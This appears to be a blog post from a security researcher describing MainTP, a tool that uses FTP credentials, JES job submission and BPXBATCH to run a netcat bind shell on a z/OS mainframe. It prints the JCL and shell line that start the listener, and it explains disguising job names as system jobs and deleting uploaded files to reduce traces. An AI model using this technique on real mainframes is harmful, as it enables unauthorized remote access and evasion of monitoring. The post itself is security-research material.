Big Iron Back Door: MainTP (Part Two)

The is the second part of a two part article about using FTP, JCL, OMVS and Netcat to get shell access on a mainframe. When all you have is an open FTP port and a userid/password you can use this to get a UNIX shell. If none of those acronyms make any sense to you make sure you read the Part One. Go now and then come back, because otherwise this won’t make sense.


We can now take everything we’ve learned and automate the entire process in to one script: MainTP!


The script works by taking a supplied target (hostname or IP address), and username & password. Once connected to the FTP server it uploads netcat and a randomly generated JCL file. The JCL file uses BPXBATCH to copy the netcat binary to OMVS and executes it as a listener running /bin/sh. The script then connects to the random port it picked and you can start issuing UNIX commands. Super Simple!

Target, Username and Password

Since this script uses FTP you need a target to connect to. The script assumes the default port of 21 for FTP but you can supply a separate port with the -f argument. The username and password should be self explanatory. 


A copy of the netcat binary, compiled in OMVS, is included in the script as a BASE64 encoded variable. When the script runs it puts that variable in to a temp file and uploads it to the FTP server in BINARY mode, using a random file name. E.G. If the script selected the file name  WERDUP and your userid was CAMEO, netcat would be in stored in the dataset CAMEO.WERDUP (don’t ask what a dataset is, just know dataset=file).


Now that netcat is on the mainframe we need some way to execute itin a UNIX environment. Having read Part One already you’ll know of BPXBATCH, which executes commands in a UNIX environment. Once connected to an FTP server and after uploading netcat MainTP randomly generates this JCL file:

//*                 NOTIFY=&SYSUID, 
//                   CLASS=T, 
//                   MSGCLASS=H, 
//                   TIME=NOLIMIT, 
//*                 MSGLEVEL=(1,1) 
//                   MSGLEVEL=(0,0) 
SH cp -B “//’HLQ.<RANDOM2>’” /tmp/<RANDOM3>; chmod +x /tmp/<RANDOM3>; nohup /tmp/<RANDOM3> -l -p <RANDOM4> -e /bin/sh; rm /tmp/<RANDOM3> /*

The  <RANDOM#> are generated on the fly:

  • RANDOM1: This is the name of the job. It will show up on the master console and in SDSF. Because of this, we use one of these five prefixes: “HMDC”, “ISPF”, “IESX”, “RACF”, “NJEX” and four random letters after. The purpose is to look a little more like a system job and not something obvious like “HACKING”. 
  • RANDOM2: This is the name we used when we uploaded the netcat binary the first time. E.G. CAMEO.WERDUP
  • RANDOM3: This it the name of the temp file we’ll use in OMVS to run netcat. 
  • RANDOM4: A random listener port between 12345 and 54321.

The rest of the script is fairly straight forward. It uses BPXBATCH to copy the netcat binary, which we’ve already uploaded, to OMVS, make the file executable and then runs netcat as a listener on a random port. Once you disconnect from the listener the job deletes the file and ends.

But How?

I thought I told you to read Part One? … ugh. Fine!

The script takes this generated JCL file and stores it temporarily on your system. Then it tells the FTP server to accept a file in JES mode, using SITE FILE=JES. It then uploads the JCL file, which z/OS is only too happy to execute for us. Seriously I put a lot of work in to Part One so you’ll understand all of this. Go read it!

After uploading the JCL it switches the FTP server back to file mode and deletes the netcat binary. This coupled with the JCL means all files uploaded are deleted after you disconnect and the only traces are logs of your JCL file. 

Why is IBM such an EBCDIC?

After all that we still need to connect to the listener. If this was easy we’d just use netcat on Linux to connect to the port and be done. But we can’t. You see, netcat in OMVS works well but there’s one caveat: It only speaks in EBCDIC. That’s no good for us because our machines speak ASCII. You could say that IBM was being an EBCDIC and a pain in the ASCII. I could make a patch for netcat to add EBCDIC support but I neither have the skillz nor the time (any volunteers?). 

With NC110-OMVS I included a script called NetEBCDICat. This is a python script which does exactly what netcat does but translates ASCII to EBCDIC and back again. Using this you can communicate with the netcat listener and execute UNIX commands. MainTP simple uses this code to do the communication.A reverse shell is possible and will be potentially implemented at a later date. 

MainTP Arguments

  • -h, —help: I wonder wha this does?
  • -v, —verbose: Verbose mode. Makes it clear whats happening
  • -t IP, —target IP: z/OS FTP Server hostname or IP address
  • -f [port] —port [port]: the z/OS FTP Server port
  • -n PORT, —nport PORT: Shell listener port. Only change if the random port isn’t working for you. 
  • -l, —logod: Display cool ass ANIMATED logo. Trust me you’ll want to use this every time!

The verbose mode tries to give you as much information as possible to tell you whats happening because I realize not everyone is a mainframe pro so just seeing whats going on is cool:


If you want to see an awesome animated logo use -l!

So between Part One and Part Two you now understand what the script does and why it works. 

MainTP is on Github:

  1. mainframed767 posted this